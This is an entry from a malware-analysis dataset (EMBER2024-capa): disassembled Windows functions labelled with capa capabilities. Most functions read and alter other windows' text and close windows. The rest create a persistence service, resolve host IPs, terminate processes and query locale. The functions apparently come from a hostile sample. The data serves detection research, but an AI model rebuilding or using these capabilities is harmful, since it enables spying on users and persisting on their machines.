joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4526e4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x452848
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40d398]
call fcn.00402e08
mov dword [ebp - 4], eax
call sub.USER32.DLL_GetDesktopWindow
push 5
push eax
call sub.USER32.DLL_GetWindow
mov ebx, eax
mov eax, 0xc8
call fcn.0040270c
mov esi, eax
test ebx, ebx
jbe 0x452779
push 0xc8
push esi
push ebx
call sub.USER32.DLL_GetWindowTextA
lea eax, [ebp - 0x14]
mov edx, esi
call fcn.00403cfc
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.004089c0
cmp dword [ebp - 0x10], 0
je 0x45276b
lea eax, [ebp - 0x18]
mov edx, esi
call fcn.00403cfc
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
push 2
push ebx
call sub.USER32.DLL_GetWindow
mov ebx, eax
test ebx, ebx
ja 0x45272f
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jle 0x45281e
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x45281e
inc ebx
mov dword [ebp - 8], 0
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0xc]
call fcn.004087ec
mov edx, dword [ebp - 0xc]
mov eax, 0x452860
call fcn.004040b0
test eax, eax
je 0x4527eb
mov eax, dword [ebp - 0xc]
call fcn.00403f88
push eax
push 0
call sub.USER32.DLL_FindWindowA
push 0
push 0
push 0x10
push eax
call sub.USER32.DLL_PostMessageA
jmp 0x452818
mov edx, dword [ebp - 0xc]
mov eax, 0x45287c
call fcn.004040b0
test eax, eax
je 0x452818
mov eax, dword [ebp - 0xc]
call fcn.00403f88
push eax
push 0
call sub.USER32.DLL_FindWindowA
push 0
push 0
push 0x10
push eax
call sub.USER32.DLL_PostMessageA
inc dword [ebp - 8]
dec ebx
jne 0x4527a3
mov eax, esi
call fcn.00402724
mov eax, dword [ebp - 4]
call fcn.00402e38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45284f
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00403b68
ret
Function at 0x45297c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x452b68
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov edi, eax
mov eax, 0xc8
call fcn.0040270c
mov ebx, eax
call sub.USER32.DLL_GetForegroundWindow
mov esi, eax
push 0xc8
push edi
push esi
call sub.USER32.DLL_GetClassNameA
lea eax, [ebp - 4]
mov edx, edi
call fcn.00403cfc
mov eax, dword [ebp - 4]
mov edx, 0x452b80
call fcn.00403ed4
jne 0x452b3f
push 0xc8
push ebx
push esi
call sub.USER32.DLL_GetWindowTextA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403cfc
mov eax, dword [ebp - 8]
mov edx, 0x452b90
call fcn.00403ed4
jne 0x452b3f
push 0
push 0x452b9c
push 0
push esi
call sub.USER32.DLL_FindWindowExA
test eax, eax
je 0x452a2c
push ebx
push 0xc8
push 0xd
push eax
call sub.USER32.DLL_SendMessageA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403cfc
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x452bb0
call fcn.00403e10
mov edx, dword [ebp - 0xc]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00427d24
push 0
push 0x452bbc
push 0
push esi
call sub.USER32.DLL_FindWindowExA
mov esi, eax
test esi, esi
je 0x452b3f
mov eax, dword [0x45891c]
mov eax, dword [eax]
mov edx, 0x452bcc
call fcn.00403ed4
jne 0x452ae4
push 0
push 0
push 0xcc
push esi
call sub.USER32.DLL_SendMessageA
push ebx
push 0xc8
push 0xd
push esi
call sub.USER32.DLL_SendMessageA
push 0
push 0x2a
push 0xcc
push esi
call sub.USER32.DLL_SendMessageA
lea eax, [ebp - 0x18]
mov edx, ebx
call fcn.00403cfc
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x452bd8
call fcn.00403e10
mov edx, dword [ebp - 0x14]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d24
jmp 0x452b3f
push 0
push 0
push 0xcc
push esi
call sub.USER32.DLL_PostMessageA
push ebx
push 0xc8
push 0xd
push esi
call sub.USER32.DLL_SendMessageA
push 0
push 0x2a
push 0xcc
push esi
call sub.USER32.DLL_PostMessageA
lea eax, [ebp - 0x20]
mov edx, ebx
call fcn.00403cfc
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x452bd8
call fcn.00403e10
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d24
mov eax, edi
call fcn.00402724
mov eax, ebx
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452b6f
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00403b68
ret
Function at 0x452cac
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x452d35
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov ebx, eax
call sub.USER32.DLL_GetForegroundWindow
mov esi, eax
push 0xc8
push ebx
push esi
call sub.USER32.DLL_GetWindowTextA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403cfc
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.004087ec
mov edx, dword [ebp - 4]
mov eax, 0x452d4c
call fcn.004040b0
dec eax
jle 0x452d13
push 0
push 0
push 0x10
push esi
call sub.USER32.DLL_PostMessageA
mov eax, ebx
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452d3c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403b68
ret

Function at 0x452d50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x452ed2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov ebx, eax
push 0x452ee0
push 0x452ef0
call sub.USER32.DLL_FindWindowA
mov esi, eax
test esi, esi
je 0x452eb0
push 0
push 0x452ef8
push 0
push esi
call sub.USER32.DLL_FindWindowExA
mov edi, eax
test edi, edi
je 0x452db8
push 0
push 0x452ef8
push edi
push esi
call sub.USER32.DLL_FindWindowExA
mov dword [ebp - 4], eax
mov esi, ebx
push esi
push 0xc8
push 0xd
push edi
call sub.USER32.DLL_SendMessageA
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00403cfc
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x452f08
call fcn.00403e10
mov edx, dword [ebp - 8]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00427d24
mov eax, dword [0x45891c]
mov eax, dword [eax]
mov edx, 0x452f1c
call fcn.00403ed4
jne 0x452e4c
push esi
push 0xc8
push 0xd
mov eax, dword [ebp - 4]
push eax
call sub.USER32.DLL_SendMessageA
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00403cfc
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
mov edx, 0x452f28
call fcn.00403e10
mov edx, dword [ebp - 0x10]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d24
jmp 0x452eb0
push 0
push 0
push 0xcc
mov eax, dword [ebp - 4]
push eax
call sub.USER32.DLL_PostMessageA
push esi
push 0xc8
push 0xd
mov eax, dword [ebp - 4]
push eax
call sub.USER32.DLL_SendMessageA
push 0
push 0x2a
push 0xcc
mov eax, dword [ebp - 4]
push eax
call sub.USER32.DLL_PostMessageA
lea eax, [ebp - 0x1c]
mov edx, ebx
call fcn.00403cfc
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x452f28
call fcn.00403e10
mov edx, dword [ebp - 0x18]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d24
mov eax, ebx
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452ed9
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.00403b68
ret
Function at 0x453000
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x45322b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov edi, eax
mov eax, 0xc8
call fcn.0040270c
mov esi, eax
call sub.USER32.DLL_GetForegroundWindow
mov ebx, eax
push 0xc8
push edi
push ebx
call sub.USER32.DLL_GetClassNameA
lea eax, [ebp - 4]
mov edx, edi
call fcn.00403cfc
mov eax, dword [ebp - 4]
mov edx, 0x453244
call fcn.00403ed4
jne 0x453202
xor eax, eax
push 0x45324c
push 0x453258
push eax
push ebx
call sub.USER32.DLL_FindWindowExA
test eax, eax
je 0x453202
xor eax, eax
push 0x453260
push 0x453258
push eax
push ebx
call sub.USER32.DLL_FindWindowExA
test eax, eax
je 0x453202
xor eax, eax
push 0x45326c
push 0x453258
push eax
push ebx
call sub.USER32.DLL_FindWindowExA
test eax, eax
je 0x453202
xor eax, eax
push 0x453274
push 0x453258
push eax
push ebx
call sub.USER32.DLL_FindWindowExA
test eax, eax
je 0x453202
xor eax, eax
push 0x45327c
push 0x453258
push eax
push ebx
call sub.USER32.DLL_FindWindowExA
test eax, eax
je 0x453202
push 0
push 0x453288
push 0
push ebx
call sub.USER32.DLL_FindWindowExA
test eax, eax
jle 0x45313c
push esi
push 0xc8
push 0xd
push eax
call sub.USER32.DLL_SendMessageA
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00403cfc
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x45329c
call fcn.00403e10
mov edx, dword [ebp - 8]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00427d24
push 0
push 0x4532a4
push 0
push ebx
call sub.USER32.DLL_FindWindowExA
mov ebx, eax
test ebx, ebx
jle 0x453202
mov eax, dword [0x45891c]
mov eax, dword [eax]
mov edx, 0x4532b4
call fcn.00403ed4
jne 0x4531a7
push esi
push 0xc8
push 0xd
push ebx
call sub.USER32.DLL_SendMessageA
lea eax, [ebp - 0x14]
mov edx, esi
call fcn.00403cfc
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
mov edx, 0x4532c0
call fcn.00403e10
mov edx, dword [ebp - 0x10]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d24
jmp 0x453202
push 0
push 0
push 0xcc
push ebx
call sub.USER32.DLL_PostMessageA
push esi
push 0xc8
push 0xd
push ebx
call sub.USER32.DLL_SendMessageA
push 0
push 0x2a
push 0xcc
push ebx
call sub.USER32.DLL_PostMessageA
lea eax, [ebp - 0x1c]
mov edx, esi
call fcn.00403cfc
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x4532c0
call fcn.00403e10
mov edx, dword [ebp - 0x18]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d24
mov eax, edi
call fcn.00402724
mov eax, esi
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453232
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00403b68
ret
Function at 0x4532c8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x453487
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc8
call fcn.0040270c
mov ebx, eax
call sub.USER32.DLL_GetForegroundWindow
mov esi, eax
push 0xc8
push ebx
push esi
call sub.USER32.DLL_GetWindowTextA
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00403cfc
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 8]
mov edx, 0x4b
mov al, 0x20
call fcn.0040415c
mov edx, dword [ebp - 8]
pop eax
call fcn.00403ed4
jne 0x453465
push 0
push 0x453498
push 0
push esi
call sub.USER32.DLL_FindWindowExA
mov esi, eax
test esi, esi
je 0x453465
push 0
push 0x4534a0
push 0
push esi
call sub.USER32.DLL_FindWindowExA
mov edi, eax
push 0
push 0x4534a0
push edi
push esi
call sub.USER32.DLL_FindWindowExA
mov esi, eax
test edi, edi
je 0x453465
test esi, esi
je 0x453465
push ebx
push 0xc8
push 0xd
push edi
call sub.USER32.DLL_SendMessageA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403cfc
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x4534b0
call fcn.00403e10
mov edx, dword [ebp - 0xc]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d0]
call fcn.00427d24
mov eax, dword [0x45891c]
mov eax, dword [eax]
mov edx, 0x4534c0
call fcn.00403ed4
jne 0x45340a
push ebx
push 0xc8
push 0xd
push esi
call sub.USER32.DLL_SendMessageA
lea eax, [ebp - 0x18]
mov edx, ebx
call fcn.00403cfc
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x4534cc
call fcn.00403e10
mov edx, dword [ebp - 0x14]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d24
jmp 0x453465
push 0
push 0
push 0xcc
push esi
call sub.USER32.DLL_PostMessageA
push ebx
push 0xc8
push 0xd
push esi
call sub.USER32.DLL_SendMessageA
push 0
push 0x2a
push 0xcc
push esi
call sub.USER32.DLL_PostMessageA
lea eax, [ebp - 0x20]
mov edx, ebx
call fcn.00403cfc
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x4534cc
call fcn.00403e10
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x458ac0]
mov eax, dword [eax]
mov eax, dword [eax + 0x2d4]
call fcn.00427d24
mov eax, ebx
call fcn.00402724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45348e
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00403b68
ret
Function at 0x453748
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403f78
xor eax, eax
push ebp
push 0x4537e0
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00408d68
mov eax, dword [ebp - 8]
call fcn.00403f88
mov esi, eax
push 2
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov ebx, eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403f88
push eax
push 1
push 2
push 0x110
push 0xf01ff
push esi
push esi
push ebx
call sub.ADVAPI32.DLL_CreateServiceA
push eax
call sub.ADVAPI32.DLL_CloseServiceHandle
push ebx
call sub.ADVAPI32.DLL_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4537e7
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403b68
ret

Function at 0x453c3c
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x204], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x453d23
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x453ced
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x200]
push eax
push 0x101
call sub.WSOCK32.DLL_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00403b44
push 0x65
lea eax, [ebp - 0x6d]
push eax
call sub.WSOCK32.DLL_gethostname
lea eax, [ebp - 0x6d]
push eax
call sub.WSOCK32.DLL_gethostbyname
test eax, eax
jne 0x453caf
pop dword fs:[0]
add esp, 8
jmp 0x453d02
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x453cd7
push dword [edi]
call sub.WSOCK32.DLL_inet_ntoa
lea edx, [ebp - 0x204]
call fcn.00409094
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 8]
call fcn.00403dcc
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x453cb6
call sub.WSOCK32.DLL_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x453cf7
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00403b98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453d2a
lea eax, [ebp - 0x204]
call fcn.00403b44
lea eax, [ebp - 8]
call fcn.00403b44
ret

Function at 0x454cd8
Capabilities:
Terminate process

Disassembly:
push eax
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
test eax, eax
je 0x454cee
push 0
push eax
call sub.KERNEL32.DLL_TerminateProcess
ret
Function at 0x407818
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040adac
test esi, esi
jne 0x40784e
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040af44
jmp 0x40786c
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004076f8
mov edi, eax
test esi, esi
je 0x40786c
cmp dword [ebx], 0
je 0x40786c
dec esi
jmp 0x407855
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x4099a8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.00409e68
mov byte [esp], al
cmp byte [esp], 0
jne 0x409b31
test edi, edi
je 0x409b31
mov byte [esp + 1], 0
test ebp, ebp
jle 0x409a71
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x409a4c
cmp edi, 0xffffffff
je 0x409a0d
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x409a0d
mov byte [esp], 0
jmp 0x409b31
cmp dword [esi], 1
jg 0x409a4c
cmp dword [esi], 0
jne 0x409a3e
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x409a3e
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x409b31
lea eax, [esp + 0xc]
call fcn.00409640
dec ebp
test ebp, ebp
jg 0x4099f2
cmp edi, 0xffffffff
je 0x409a71
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x409a6f
mov byte [esp], 0
jmp 0x409b31
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x4099b6
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x409a71
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00409bac
mov edx, eax
mov ebx, dword [0x7f78fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x409ad5
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x409ad3
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x409ad5
xor edi, edi
cmp byte [esp], 0
je 0x409afb
mov ebx, dword [esi]
test bl, 1
jne 0x409b11
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x409adb
mov byte [esp + 1], 1
jmp 0x409b11
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x409afb
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x409a88
cmp byte [esp], 0
je 0x409b31
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40aa08
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x7f7058], 0
je 0x40aa6f
cmp word [0x7f7348], 0xd7b2
jne 0x40aa31
cmp dword [0x7f7350], 0
jbe 0x40aa31
mov eax, 0x7f7344
call dword [0x7f7360]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x40aa9c
call fcn.0040b7cc
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x7cf036], 0
jne 0x40aa8b
push 0
push 0x7cf9db
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x40ac6c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x7cf038], 0
je 0x40ac97
mov edx, edi
mov eax, esi
call dword [0x7cf038]
mov ebx, eax
jmp 0x40aca8
mov eax, 8
call fcn.00407038
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x7f7059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x40ac34
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x40acd8
mov eax, ebx
call fcn.00407054
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x40eb70
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40ecd7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040adac
cmp si, word [0x7cfa18]
jb 0x40ec08
cmp si, word [0x7cfc18]
ja 0x40ec08
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40ec08
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x7cfa18]
jae 0x40ebe2
mov edi, ebx
dec edi
jmp 0x40ec03
cmp si, word [ebx*8 + 0x7cfa18]
jbe 0x40ebf2
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40ec03
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x7cfa1c]
call fcn.0040ea90
jmp 0x40ec08
cmp edi, dword [ebp - 8]
jae 0x40ebcc
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40ecb7
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40ecb7
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040bc34
push dword [ebp - 0x160]
push 0x40ecf4
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040bc34
push dword [ebp - 0x164]
push 0x40ed04
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040bc34
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040be70
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ecde
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.0040ae0c
pop eax
jmp eax
Function at 0x40ee8c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ef92
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x7f9c14
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x7f9c2c]
jne 0x40eed8
mov eax, esi
mov edx, 0x7f9c2e
mov ecx, 0x55
call fcn.0040bc34
push 0x7f9c14
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40ef7a
push 0x7f9c14
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.0040adac
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40ef47
cmp byte [0x7f9c10], 0
je 0x40ef0c
mov edx, esi
mov eax, ebx
call fcn.0040ed70
jmp 0x40ef47
mov edx, esi
mov eax, ebx
call fcn.0040eb70
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40ef47
cmp dword [esi], 0
je 0x40ef30
mov eax, esi
mov edx, 0x40efac
call fcn.0040bd90
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040eb70
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040bd90
push 0x7f9c14
call sub.kernel32.dll_EnterCriticalSection
mov word [0x7f9c2c], bx
mov eax, dword [esi]
call fcn.0040bb80
mov ecx, eax
mov eax, 0x7f9c2e
mov edx, 0xaa
call fcn.0040e9f0
push 0x7f9c14
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ef99
lea eax, [ebp - 4]
call fcn.0040adac
pop eax
jmp eax